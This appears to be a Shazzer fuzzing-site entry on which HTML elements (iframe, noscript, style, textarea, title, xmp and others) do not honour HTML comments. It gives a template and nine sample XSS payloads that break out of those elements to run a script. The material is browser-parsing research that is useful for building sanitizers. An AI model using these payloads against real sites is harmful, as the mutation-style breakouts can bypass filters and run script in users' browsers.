Tags that DO NOT support HTML comments

This vector attempts to show which HTML tags DO NOT support HTML comments.

Shazzer Master

Created Jan 26, 2025

Updated Aug 19, 2026

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CategoryHTML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

$[data1] placeholderhtml

Template used:

<$[data1]><!-- </$[data1]><script>log('$[data1]')</script></$[data1]>  --></$[data1]>

Sample payloads

<iframe><!-- </iframe><script>alert('iframe')</script></iframe>  --></iframe>

<noembed><!-- </noembed><script>alert('noembed')</script></noembed>  --></noembed>

<noframes><!-- </noframes><script>alert('noframes')</script></noframes>  --></noframes>

<noscript><!-- </noscript><script>alert('noscript')</script></noscript>  --></noscript>

<script><!-- </script><script>alert('script')</script></script>  --></script>

<style><!-- </style><script>alert('style')</script></style>  --></style>

<textarea><!-- </textarea><script>alert('textarea')</script></textarea>  --></textarea>

<title><!-- </title><script>alert('title')</script></title>  --></title>

<xmp><!-- </xmp><script>alert('xmp')</script></xmp>  --></xmp>